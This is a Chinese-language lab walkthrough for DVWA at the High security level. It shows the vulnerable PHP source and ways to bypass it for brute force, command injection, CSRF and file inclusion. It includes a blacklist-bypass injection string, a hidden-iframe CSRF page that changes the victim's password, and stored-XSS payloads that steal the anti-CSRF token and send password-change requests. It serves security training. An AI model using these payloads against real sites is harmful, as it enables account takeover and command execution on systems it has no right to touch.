DVWA-High通关详解
Brute Force(暴力破解)
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入了session,同时验证了token,爆破就会受到了限制
每次服务器返回的登陆页面中都会包含一个随机的user_token的值, 用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
那么我们,如何burp进行爆破呢?
每次服务器返回的登陆页面中都会包含一个随机的user_token的值, 用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。
发现这里有一个value,被隐藏了,每次刷新页面他就会改变,
那么我们是不是可以尝试将他获取,然后添加到我们的爆破中呢?
下面我们设置token,
在这个额外的工具中
我们选中我们需要的值,他就会自动帮我们正则匹配,
我们需要选择草叉模式,(其他模式没有这个功能)
在最后一栏写入最初的value值,
在option选项卡中将攻击线程thread设置为1,因为Recursive_Grep模式不支持多线程攻击。
线程设置为1(显然只有获取上一个请求返回的taken值才能,做下一次请求 暂时无法并发)
将他设置为总是开启,第一个参数我们设置成正常字典
选中两个,
爆破成功
pitchfork模式
添加了两个参数的话 ,要求添加两个payload
pl1:1,2
pl2:3,4
那么第一爆破为 1,3
而二次爆破为2,4
一组一组进行爆破
Grep-Extract使用
Burp工具提供了一个名叫recursive grep的payload,能够让你从攻击的前一个请求的返回包中提取出每个payload,我们可以利用这个功能从html中提取出csrf_token,重放到下一次请求中,以便进行自动化的fuzz攻击。
mysqli_real_escape_string()
函数转义在 SQL 语句中使用的字符串中的特殊字符。
那么我们大概可以选择其他路线了,sql注入不太行得通
stripslashes
删除反斜杠
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
Command injection(命令执行)
Command Injection Source
vulnerabilities/exec/source/high.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
很明显发现,他过滤了很多
但是我们仍然可以??
127.0.0.1 || whoami
中间需要增加空格,
而且,它本身过滤了|
带空格,那么我们使用单个|
也能绕过
黑名单的话,很容易过滤不全,只要加个空格,基本都可以绕过,
trim
trim() 函数移除字符串两侧的空白字符或其他预定义字符。 如果后面参数被省略,则移除以下所有字符:
-
“\0” - NULL
“\t” - 制表符
“\n” - 换行
“\x0B” - 垂直制表符
“\r” - 回车
-
” “ - 空格
Cross Site Request Forgery(CSRF跨站脚本伪造)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这次的csrf也加入了token验证,而且输入一次就会更改
那么我们如果想要csrf的话,就需要获取到这个token,我们就可以自己写一个页面(转)
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://dvwa.com/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://dvwa.com/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin">
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
但是,受到浏览器同源策略的限制!
可以查看这个师傅的有关同源策略
https://blog.youkuaiyun.com/qq_36119192/article/details/82931250
那么我们只能换一种思路,是不是可以从xss入手
从域本身入手
我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
iframe是一个标签
或者直接通过xss直接进行自动化
iframe src="../csrf" "var a=new XMLHttpRequest();var token=top.frames[0].document.getElementsByName('user_token')[0].value;a.open('get','../csrf/index.php?password_new=1234&password_conf=1234&Change=Change&user_token='+token,false);a.send(null)">
File Inclusion(文件包含)
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
其余详解,见文件包含,
这里只能是文件必须是有file*或者,include.php的才能读取
fnmatch — 用模式匹配文件名
fnmatch ( string $pattern , string $string [, int $flags = 0 ] ) : bool
fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。
pattern
shell 统配符。
string
要检查的字符串。 此函数对于文件名尤其有用,但也可以用于普通的字符串。
普通用户可能习惯于 shell 模式或者至少其中最简单的形式 '?' 和 '*' 通配符,因此使用 fnmatch() 来代替 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便。